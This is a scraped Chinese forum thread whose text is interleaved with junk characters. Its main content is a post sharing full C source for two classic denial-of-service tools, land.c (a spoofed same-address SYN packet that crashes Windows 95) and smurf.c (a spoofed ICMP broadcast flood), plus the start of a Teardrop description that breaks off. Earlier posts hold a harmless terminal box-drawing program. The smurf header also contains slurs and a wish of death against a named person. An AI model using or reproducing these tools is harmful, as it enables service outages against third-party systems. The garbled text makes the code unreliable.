  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。& d+ @( {- D$ o0 k" }
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
# K  Z# c7 m# B. x  m<FONT color=#009900>/*
; C- |% Z" c. q& Y8 A7 O1 S*
& F1 r0 |* W1 S' {) W* Short driver module" m  W& M" n, l% A
*
$ _3 @" d* ?( G- P*/</FONT></P><><FONT color=#009900>main()" i0 u/ ~+ l% H3 M) [2 B1 q
{
% Q2 j, H8 I7 d; jclrscr();3 ?& j( X% q( s# t7 J
box(1,1,23,79);1 \' k& B3 q5 h! C
box(2,2,21,77);  n/ J$ G! x. o0 f# r
box(3,3,19,75);0 e' B% L9 [1 ~3 b+ I
box(4,4,17,73);
, A6 z! s1 c- \4 S3 c( k! f# Fbox(5,5,15,71);
7 x/ _+ f5 a/ N7 t, bbox(6,6,13,69);2 M8 `. k+ h) u
box(7,7,11,67);
* x; o. x* A' mbox(8,8,9,65);) @# T" `8 Z5 K, I
box(9,9,7,63);: B& `% l0 H" G% m
box(10,10,5,61);: E; `2 e6 h- o. [! v* A5 ~
box(11,11,3,59);( I- @4 H  r- p! Z; b
box(12,12,1,57);
% v3 [* l2 M' z+ Vposcur(24,1);
6 K+ N" m+ e$ a6 n}</FONT></P><><FONT color=#009900>/************************************************************
" j2 @9 _; k  l) n1 p* BOX *, O4 H$ F2 |% g( O" w/ H( w4 r
*----------------------------------------------------------*
  b. V' g+ x7 j1 w3 h# B* Written by: Jeff Ebert 7/01/87 *
5 P+ G3 x+ R2 P0 ~! e/ Q  g* Modified by: xxxxxxxxxx *
5 I1 o; O0 g3 e6 [* *7 W. |3 w9 N4 B6 U& Q, S
* Please modify me! *9 N' }/ |3 U9 Q9 _& r' i% r
* Possible Enhancements include but are not limited t *; T# O; {, s6 _
* 1) Variable box character styles [1 line or 2] */ T- _7 c; o; x+ i! G+ k9 o8 h) ]
* 2) Error checking *4 s: ?5 }& ?( k8 H) d% l$ u1 X
* 3) Color options *2 |, z0 ~4 p7 y' ^6 D  `2 h
* *" N" U% v" i% K7 x6 s
* *! y+ f$ ~* g9 Z' S4 W! N. ]
* This function builds a simple double frame for a menu. */ P' A9 w, }1 V
* The function is passed the parameters for the upper *
9 ]' M$ U3 b3 d! U1 w$ w* left corner row, upper left corner column the height *% _. q. d" q" o
* of the frame and the width. *
3 U9 W* Z$ f! a( B; G* *2 M+ {8 t2 E8 L
************************************************************/. R$ T4 B! u" x- V( m0 g
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201. ~# ]/ {  g4 V. J) }* ^) c* k+ X
#define URCOR 187: z* L; ^% S) p% y& G- W& g
#define LLCOR 200$ E0 h" }7 a* J" k& g- \
#define LRCOR 1884 ?5 s4 }6 C* g4 o
#define VBAR 186- U; G% N2 r2 ~4 z; V4 n6 D) X* x
#define HBAR 205
; @5 z: G* W& `3 I  q+ L4 B#define ESC 27</FONT></P><><FONT color=#009900>
, t" A4 S- ~" K$ R4 _box(row, col, hgt, wdth)- Y4 e% k! s* x  v6 a
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
$ n% t% L. M: o2 Y7 c) ^int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
4 Y. Z" T1 D2 k7 @7 ]+ ^3 hputchar(ULCOR);
* H5 G& L, d$ C0 vfor(x = col + 1; x &lt;=(col + wdth -1); x++)
3 |* }! A6 J4 {& ?- c% e9 t8 b. Sputchar(HBAR);
: L/ t" ?# O" E( R( \+ hputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){- V( p+ m5 `6 @0 d- w, X, \! A
poscur(x,col);/ k" V% R' \& y# S; U
putchar(VBAR);9 O& j: y) m/ r, o! H$ [5 [
poscur(x,col+wdth);+ ~- J2 ^5 e  R1 M8 O; j( f; [! s5 O
putchar(VBAR);
3 c- P" g( S1 }& O2 `}
2 {# g8 C! k% c+ V' O# V. N# ?poscur(x,col);, K; a/ i  ?* i0 k' i
putchar(LLCOR);7 I$ y3 I6 f- o2 O
for(x= col + 1; x &lt;=(col + wdth -1); x++)1 k" D  U7 g6 @0 J1 K) B* y
putchar(HBAR);  E3 f+ L% x. B7 q$ W8 `; ^
putchar(LRCOR);0 |& m, l$ C. L1 E
}</FONT></P><><FONT color=#009900>/********************************************************) P9 m9 Z. v1 N3 S
* POSCUR *2 X* B: F6 n& x1 W
*------------------------------------------------------*8 G' J; Q+ D" h0 P/ [
* This function positions the cursor at the specified *3 e( i2 t' ^/ Y8 e5 h
* x,y coordinate. It uses the ANSI standard ESCAPE */ c( I$ C- W" B4 n* }
* sequence to produce the desired effect. Its not the *
' Y5 \; H6 z4 M, h7 i" p) u( Y* fastest way to position the cursor, but perhaps the *6 w5 u' F2 g2 w+ y8 ?! b& M
* most portable. *
4 `1 ^' |. u  Q* *
. C5 x/ C( d' l3 z& s********************************************************/5 }. q& n- J9 N* f8 Y( I) g# y* G
poscur(xcor,ycor)
# l: a' w( @1 ~: S0 tint xcor,ycor;
, C0 M4 b& N; V1 E{ 8 m2 w1 x! W& G6 F8 E7 |
printf("%c[%d;%dH",ESC,xcor,ycor);; X. O, M5 c7 O2 [; k$ L3 s7 c+ q
}</FONT></P><><FONT color=#009900>
7 `7 {9 |9 r. b/********************************************************
! n6 O+ k4 ]& A2 c2 r' j& [* CLRSCR */ r& G, s) I9 w9 t8 s
*------------------------------------------------------*
' v; ]6 k" G! Z' i( p* This function positions the cursor at the specified *) u- Y+ ?. z# H  Y1 N4 H" M. C
* x,y coordinate. It uses the ANSI standard ESCAPE *; i9 B  x9 T' C: U8 [- u
* sequence to produce the desired effect. Its not the *
6 [3 \# J3 x7 U. t" g* fastest way to position the cursor, but perhaps the *6 o! `8 m4 D0 ~2 L, H2 e0 s+ u9 Q
* most portable. *  F+ w" @2 l7 I0 I* l& D
* *
  n5 s$ I' W; N/ `+ Q7 b4 Q7 h7 C********************************************************/
% R: w6 F* [4 M8 S% A; |" {. uclrscr()/ d8 V" R) X" m4 F* I7 L4 M
{ - d7 ?; l0 k* @9 n4 G$ _# f
printf("%c[2J",ESC);2 @" v5 l; ?$ i: j6 L
}</FONT>' O$ A- \3 v* X0 p  k
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract+ W0 F6 \3 m! ]3 G( x1 U
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
2 A2 A0 I' {6 I. u% w) V! I' q! y  r" q己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
- r( N$ h8 g- Z2 e* k<FONT color=#009900>/* land.c by m3lt, FLC1 @5 I% R' b" Y3 U
crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>: N- \& ]4 p# `5 Y7 @
#include <NETDB.H>
; N2 [0 g' n/ O" ^% x  s( I' l& Y! \#include <ARPA inet.h>( M- p  @& I/ V, X1 X
#include <NETINET in.h>' R/ Q: ?7 m; k/ f
#include <SYS types.h>
/ t2 e3 I9 H  k: ]" o#include <SYS socket.h>
9 C! Y. H$ z6 V4 }( m5 |#include <NETINET ip.h>2 ]% h4 p8 y% P" V1 [
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
. t: R0 M9 @9 Lstruct pseudohdr
5 c/ {9 L" D3 g3 d, P5 _5 u  K) T{. Z: [' S  E. v- ~3 C- N  S
struct in_addr saddr;* q# X5 S5 Z* w
struct in_addr daddr;" h/ C- C, w- P6 V4 X- ~6 N; b
u_char zero;) Q% {% H+ J8 s1 Q1 h* |- y
u_char protocol;) \: l) h% k/ j5 G
u_short length;7 a! R9 A, `; l5 ~; \; v
struct tcphdr tcpheader;6 W; d: i$ t9 [. c6 m1 ^0 `
};</FONT></P><><FONT color=#009900>//计算IP校验和# C( R' Z( H. L% p
u_short checksum(u_short * data,u_short length)
% v- r, c( G0 Z{# W  {. _: B" z: `
register long value;
! d8 n7 A  R* g# Hu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)5 b, F% n  v6 Q0 O0 I! {& y
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
# {- Y  p% @0 I1 w1 C0 Wvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
) ]: _, }  e8 r}</FONT></P><><FONT color=#009900>
' t- w) _9 I  W+ ^5 ~9 kint main(int argc,char * * argv)
' A0 Q+ @  J8 H% C{
3 e( Y0 [5 e% m$ r( v" n1 {' A3 Ystruct sockaddr_in sin;
3 _2 x( Z4 L- n. {. B1 Astruct hostent * hoste;
6 c8 n$ u) E2 {+ Uint sock;
. u' _. h; I9 |2 ]  I6 ^char buffer[40];: H! K4 X" q: ?2 o2 D# H
struct iphdr * ipheader=(struct iphdr *) buffer;# K1 F! C2 B  d0 ]/ f
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
; L% B: f9 h" |4 L2 Z+ tstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)2 Y2 `- Z" g! O9 x' L, Y! n; R
{. p2 T6 L- ]7 V" p- Q
fprintf(stderr,"usage: %s IP port\n",argv[0]);
* b/ [) B. j! Treturn(-1);
3 i' W' @! c* w+ q, j7 Q}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));, ?, h9 N% G# L; i- f% k2 s
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
  k, H+ S1 Q$ C, p; hbcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);9 m! N% W* \+ T# u6 `- j( M
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
3 j0 z1 w# J6 g# x3 n% g{
( T" w+ C& e! q9 i- @8 o# `fprintf(stderr,"unknown host %s\n",argv[1]);$ l1 R0 [& F0 X' u; q; {
return(-1);# V4 I! \) l# @! N
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
5 Z8 M1 s/ Z: t  p{
( n0 K) E( e9 V7 _2 c" [fprintf(stderr,"unknown port %s\n",argv[2]);, X5 E7 M/ ^/ h$ v. @0 V! i
return(-1);! J, [( z  B0 x. u5 {# h
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限/ m. E! l# X; a$ p
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
7 @6 e9 m0 l) K5 F' G6 ]' W{
' X  |- ~( e$ i# ]3 Bfprintf(stderr,"couldn't allocate raw socket\n");
, {, E0 @* K; Z9 B3 b+ v# preturn(-1);. o' A9 W! C8 z8 g
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
5 I+ Z8 @" ?( z, D0 X# q6 E% zipheader-&gt;version=4;; t3 W2 y* b3 x9 v( D( ^, E7 a
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
" V" G  t8 p$ f* a$ \ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));* U: _5 m$ X7 p4 u4 p0 n
ipheader-&gt;id=htons(0xF1C);/ i& f. P0 }1 a/ s/ u7 t
ipheader-&gt;ttl=255;
3 }9 x. B) H3 d6 {% j/ pipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同* t3 s* }/ a# G2 j7 t4 n6 U4 A
ipheader-&gt;saddr=sin.sin_addr.s_addr;
+ [) U9 X) ]$ t( k+ v- ?, E0 s) |ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
7 m+ ^* W  i( j: X: P" u# J$ Ytcpheader-&gt;th_sport=sin.sin_port;( i% {* y! i: o6 V7 U2 L$ u! [
tcpheader-&gt;th_dport=sin.sin_port;$ `( h" M( V5 h1 V' k' M$ y' ?, j
tcpheader-&gt;th_seq=htonl(0xF1C);0 {8 j& ^# I1 @( A
tcpheader-&gt;th_flags=TH_SYN;
7 y' x, R' O9 c7 Ttcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
5 _, U- |& \: etcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));3 }4 o2 Q5 l6 ?# ]: \/ L5 {  [
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
' T- {0 e$ A# k! Rpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;* N3 W  z" J' g% J
pseudoheader.protocol=6;
: a4 \, B6 F0 k* mpseudoheader.length=htons(sizeof(struct tcphdr));. K) G" F& t+ @4 |
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
3 k* O" J; A8 h' e( Atcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),* V: q) [- u' U3 r+ C, D9 G
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)
8 {- V2 z2 Q6 F4 o2 P# K- e4 K8 b{
' C/ x, G' u/ K, e$ N% Hfprintf(stderr,"couldn't send packet\n");
9 J0 h1 v, ~& U1 J+ V- Sreturn(-1);
; ?& Y) c! Z. Q5 L+ |) t( o}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);- J( |( H  n, M, j' T
return(0);' c. B* n  x/ t4 \, Z
}</FONT></P><>
3 H% {- n5 j; s1 s2 Smurf
( X( ?. W( o% `/ k$ D; ~smurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数* x- c- Z5 H. Z- s) a2 ?; r9 Q0 v
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包/ m) ^& J2 ~" |; c) F" ?
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
# Q6 T) N4 R/ [  D1 Oicmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
3 k2 a. B; H; S) w(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变2 l2 S- X2 _5 j( {8 j
成不可能(没有WINS服务器时)。</P><P>/*
% e$ i+ R5 t8 G* h# L( d0 g*/ E2 t; H6 M/ z' X+ H+ _
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
! h& M  M( W& k3 I/ s3 B+ b2 X*8 y2 I, K) F% f( F! }' G
* spoofs icmp packets from a host to various broadcast addresses resulting
2 z/ u* E6 t- n& f2 X/ o* in multiple replies to that host from a single packet.
( f, r" A5 i& U*
# y/ m/ a& O+ H1 P& j" `4 J- Z* mad head t
% \9 N+ Y7 {8 [/ S0 ^* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
6 h0 D" S" p& F4 A! d% L* MissSatan for swallowing, napster for pimping my sister, the guy that
+ I3 |! j5 _- Q4 ]4 B' n* invented vaseline, fyber for trying, knowy, old school #havok, kain
9 v$ P4 R$ S" }: g4 P: E" E, i, n* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
7 o! F) d" \5 ^( @  C) B/ m* have missed (you know who you are).
) C$ w# l" j3 |; A** o2 u4 @$ e& i/ y3 t& s
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
- L9 K- @! G6 c# a* thing he is (he's -almost- as stubborn as me, still i managed to pick up
6 Y- M4 R' U, X$ D* half the cheque).1 `( u) X+ Y9 _' O7 j
*
, s5 ?$ D/ F$ q$ Q6 B) @* and a special hi to Todd, face it dude, you're fucking awesome.
5 Q  G- [% }: _*
1 a6 J$ o- ]* t" I4 B* mad anal t
2 p9 I; p7 T: N6 i* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
% t, N* _0 p  e/ B2 ^" m* because they plain suck, Rolex for being a twit, everyone that
0 o0 r6 S# r4 d7 i. Z* trades warez, Caren for being a lesbian hoe, AcidKill for being her5 G# n" o. M+ z$ _
* partner, #cha0s, sedriss for having an ego in inverse proportion to; k( ~0 S* n9 }6 D# e4 \
* his penis and anyone that can't pee standing up -- you don't know what" W2 Y% s: ]: g2 Y" X* A6 r
* your missing out on.* l0 t) r6 v1 N# D( L, m/ M4 x
*1 E9 t$ |, H1 l3 J. ]6 y1 C
* and anyone thats ripped my code (diff smurf.c axcast.c is rather2 X4 ~# F' e0 r( i! e+ ~+ e& I3 ?
* interesting).$ n7 m! T- n$ d2 |' g1 @
*
1 R, U* Q4 L* E% H* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
  Q5 V: G9 W1 _. G* Robbins for trying to steal my girlfriend. Not only did you show me# [+ h9 C# N  f! f% c0 d* n$ N
* no respect but you're a manipulating prick who tried to take away the3 _' J/ s. m! g. I
* most important thing in the world to me with no guilt whatsoever, and
! Y: T- D: z5 j- w3 G* for that I wish you nothing but pain. Die.  ?7 Y8 n1 t8 K$ R( j
*
" ]. n& q. h. b2 l! W* disclaimer:3 I1 Y( L+ G% ~
* I cannot and will not be held responsible nor legally bound for the
: C( q/ I+ m* S8 m9 I6 J* malicious activities of individuals who come into possession of this% a9 e4 P$ h  U1 Q- b5 H) \
* program and I refuse to provide help or support of any kind and do NOT, f; d( Q1 W) |7 {3 }
* condone use of this program to deny service to anyone or any machine.
: f- j& t' j( h* This is for educational use only. Please Don't abuse this.6 W  b. O  k+ b* N/ \* ~! V
*
) }. |5 h' m7 o( V5 t; |* Well, i really, really, hate this code, but yet here I am creating another
( ^4 j/ f/ X0 R/ _1 A5 Z* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
3 _) W8 a8 y- a3 W! y) e* like most programmers don't like seeing bugs in their code. I saw a few# q5 J9 B. O8 v9 h7 I  V" A
* things that should have been done better or needed fixing so I fixed* S+ S3 T+ J- m8 ^7 p7 t
* them. -shrug-, programming for me as always seemed to take the pain away; {8 c- N0 F: ?) }  ^6 a
* ...
* Y9 f. h3 v; J& i*
# [+ O$ ~/ D- q9 ]( i' t*
. o( W1 b- Z7 X( d7 A*/</P><P>#include <SIGNAL.H>
7 y. `3 ~4 w6 H2 x6 M9 Z  D: E#include <STDIO.H>
( ^  @0 W  ^# T9 d; q#include <STDLIB.H>- u6 ^! w, f: b
#include <SYS socket.h>
- X. ^8 [4 I; u#include <SYS types.h># W$ Q! h+ _( n8 k" N
#include <NETINET in.h>
/ l1 B9 X$ `1 A% P! d#include <NETINET ip.h>
5 L" O1 L* Y1 T#include <NETINET ip_icmp.h>
6 T0 w" c6 P& R#include <NETDB.H>) d5 p* J) R$ g+ d
#include <CTYPE.H>
1 w4 g9 z! f) G9 M  ^8 ~#include <ARPA inet.h>3 l( S3 x/ ]- _: E( u8 @5 X
#include <UNISTD.H>; w$ W0 Z+ ?! N$ O
#include <STRING.H></P><P>void banner(void);
/ H, o0 G; a# ^, N  ~, svoid usage(char *);  Z8 K* ~0 z: _2 a1 j2 b8 g
void smurf(int, struct sockaddr_in, u_long, int);
" T# I+ M. A, \6 j5 [# D! ^: Rvoid ctrlc(int);% G. w4 Z# C" f) u0 P  }+ B
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */$ j# h5 ~, ^6 U* X. j2 P# \
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])( X( u, l8 @% g3 ~; ^; ^' o" n
{6 R" O$ W2 Q" K% `
struct sockaddr_in sin;. I; _) T4 w* l0 w
struct hostent *he;- v. H+ v0 ]7 ?# o( y5 ^" O  B8 V
FILE *bcastfile;$ D6 m% v. E- R) r2 F- v1 T3 M
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
7 ?& x  G7 t( e! q" X6 I8 wchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
5 m- ]. o5 \9 s9 z2 O! z" }$ ?signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {! p4 f- x$ v# X0 B; R
perror("resolving source host");
3 K+ a  y" o2 T; \8 T6 x5 Q# iexit(-1);7 t8 u1 c4 P6 K7 T9 l
}6 c7 ^4 N5 ^0 U* H
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);. ]) M$ b- o# c8 n7 C* {1 G! o
sin.sin_family = AF_INET;, J/ v: k3 ~0 _3 g8 ^
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);! B( i( ~0 q6 y2 Q* g* r! s
delay = atoi(argv[4]);; V7 m7 H$ l0 V
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
6 N! _9 }6 ?/ x* Q) R7 uperror("opening bcast file");( S5 Q* o3 c& \
exit(-1);0 @9 ?: o' _6 ^  G
}1 I4 T4 c9 y7 Y6 i0 ^
x = 0;
% L" b2 c& t$ O, G; jwhile (!feof(bcastfile)) {
& N# T6 N2 B! S: x+ ~- ^fgets(buf, 32, bcastfile);
! {3 B# E7 Q0 Cif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
6 \9 s) B9 h/ Efor (i = 0; i &lt; strlen(buf); i++)
" b6 D5 s* N' \6 o- A7 xif (buf == '\n') buf = '\0';
9 ?" @$ R/ w- ^: lbcastaddr[x] = malloc(32);$ m4 s; @5 y" ?6 f& h
strcpy(bcastaddr[x], buf);
! `6 Y9 v3 X- R. b5 g# ^% Kx++;- f* a/ B+ K7 ?
}
; p' P3 A' h. s' x: v( Z% c; f6 Ybcastaddr[x] = 0x0;; `2 x+ D! n5 J9 Z7 i+ S
fclose(bcastfile);</P><P>if (x == 0) {
7 B0 E+ z& s- pfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);9 d. }% _3 H; ^+ z3 E- s& b8 _, h9 f
exit(-1);/ B- P; d$ i; _% N5 y6 w
}2 }6 A( k" o- j" T2 q4 E
if (pktsize &gt; 1024) {
% z: G5 p2 @% C0 Kfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");7 B  ?8 Y4 A7 l5 N; m1 n
exit(-1);+ \2 C0 T" w3 D
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
1 y" d. W7 [+ r) F: ]: Dperror("getting socket");: O- O4 q2 H. ^$ P
exit(-1);
- j. m$ U- h$ I  ~}4 Q9 d# _1 I" I& Q1 @6 G5 g
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
- N9 d) K$ B/ q  xif (!(i % 25)) { printf("."); fflush(stdout); }
; G& I: B# y9 j; _- O- h% s- T: vsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);" z6 d& ^% f6 s/ \; N' m& b
cycle++;& @* U9 j: x# G
if (bcastaddr[cycle] == 0x0) cycle = 0;
# V8 z7 C) w# |( Ousleep(delay);
) z& ~4 k8 p% S) Q8 o}
1 i1 G5 g  B9 ^& yputs("\n\n");$ S, W/ p) C$ H" o  Y
return 0;, ]! n$ J* b2 w  b: F+ T) Y
}</P><P>void banner (void): B, F7 t9 \& z( b
{
+ @  q& b, V1 f, p: o; o; Jputs("\nsmurf.c v4.0 by TFreak\n");+ b/ T+ \6 V7 l1 u5 ]/ a
}</P><P>void usage (char *prog)
" l6 x  _3 Y, h{
* d9 J  T$ i# L% j( V' N! {fprintf(stderr, "usage: %s <TARGET><BCAST file>"
  I6 B: f6 R( X% ?; r"<NUM packets> <PACKET delay><PACKET size>\n\n"
* }. c8 Z# u8 H"target = address to hit\n"" J) i  I) Z% n. U
"bcast file = file to read broadcast addresses from\n"
0 f# H1 v  [$ B% W; q7 s" R"num packets = number of packets to send (0 = flood)\n"
# q0 ~/ s- a" O' Z5 z"packet delay = wait between each packet (in ms)\n"1 D2 r- a2 ~* i; Y2 w3 a" i8 B' L
"packet size = size of packet (&lt; 1024)\n\n", prog);7 t7 L% `$ h6 c5 v4 k% q' v
exit(-1);2 o. i5 D# M/ o" i
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)3 P  P$ X# }4 b; a* I! _* U5 a3 _
{$ E# l! U2 [# q8 t7 m7 s
struct iphdr *ip;
9 c+ ~$ K. ?9 ~/ o5 Tstruct icmphdr *icmp;8 \  o3 J( y# V3 G) s, M
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);! G4 H- Z9 V  f9 M
ip = (struct iphdr *)packet;/ a0 X$ i( K  g4 F; ~( R0 I2 E
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);+ F, {. p7 {" e1 J% A# U
ip-&gt;ihl = 5;7 p. r# M& q& B2 _# ^, u
ip-&gt;version = 4;
$ Q0 Q% w0 T& I8 a7 Bip-&gt;ttl = 255;# c. |' h5 R9 k- M. u
ip-&gt;tos = 0;" R! J' z1 `: C& [
ip-&gt;frag_off = 0;
* o& T. M* h/ I! j8 L: {4 u* Cip-&gt;protocol = IPPROTO_ICMP;
2 ~! k5 {- W( C( x9 Gip-&gt;saddr = sin.sin_addr.s_addr;* N  x; p3 M$ g. o  w# E- p; }
ip-&gt;daddr = dest;% s$ o2 z4 T/ }8 [0 U, l
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));  Z) M/ e1 u  \
icmp-&gt;type = 8;
; ^- G  O* |1 k5 `1 O& \icmp-&gt;code = 0;
* ~$ ~$ A! ?: \* ricmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,: z4 \6 L. U1 o5 `. ^% B  I
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */$ v" w  A: E- O+ D3 i- f# W' h; ~
}</P><P>void ctrlc (int ignored)2 }# ~- h! T( b/ j( }: M; E. q
{2 J" S6 w8 k# m, l
puts("\nDone!\n");+ K6 m8 @2 B( N: ]- r0 V
exit(1);
9 C  ]# R* r6 [9 W}</P><P>unsigned short in_chksum (u_short *addr, int len)
; J$ a: B. Q5 R{
& p, j  l3 p' ~3 f( g: |, ]register int nleft = len;
% C7 E$ n& w8 tregister int sum = 0;
8 Y. Z; _. o. W! t. f/ e- t, Iu_short answer = 0;</P><P>while (nleft &gt; 1) {& W5 L7 ^& k* n0 c* p
sum += *addr++;
: \' D) D1 Q% L3 {nleft -= 2;
' H5 D  m) u8 t}</P><P>if (nleft == 1) {
( f6 l  Y) M2 c' q( R*(u_char *)(&amp;answer) = *(u_char *)addr;* w7 t. X" d' e5 m* @
sum += answer;
9 N0 J4 ]$ L, _  ]$ `4 A/ g+ R}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
  `8 t5 n, U; Z6 V8 i' C1 lsum += (sum &gt;&gt; 16);' i! ^6 g: p1 f
answer = ~sum;
1 C0 n1 k$ p0 }" Y. h4 greturn(answer);
! A: w; Y) t, l4 @5 i$ t}</P><P>9 g  Y, X* L, W( m1 B# z
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
6 h: \- a) `% A: D6 g5 O6 |1 Dfp = qp-&gt;fragments;" }0 c% G* {' r; }1 k
while(fp != NULL)9 P2 X1 l/ y) n- D# `  r
{
  h2 s) D' M% Uif(count+fp-&gt;len &gt; skb-&gt;len)3 o, P" W4 y2 A  Y
{2 S8 I) H0 Y' y
error_to_big;
$ X  [) ]% k% T}
  ]1 P+ Y3 m0 v5 K3 Dmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);) Y8 R5 F: S- E* H* b& d
count += fp-&gt;len;% E$ P( n; C! @+ @: ]- G
fp = fp-&gt;next;
. R) `- m  W5 Y* E+ @& y}: `' m6 w  x+ n! S
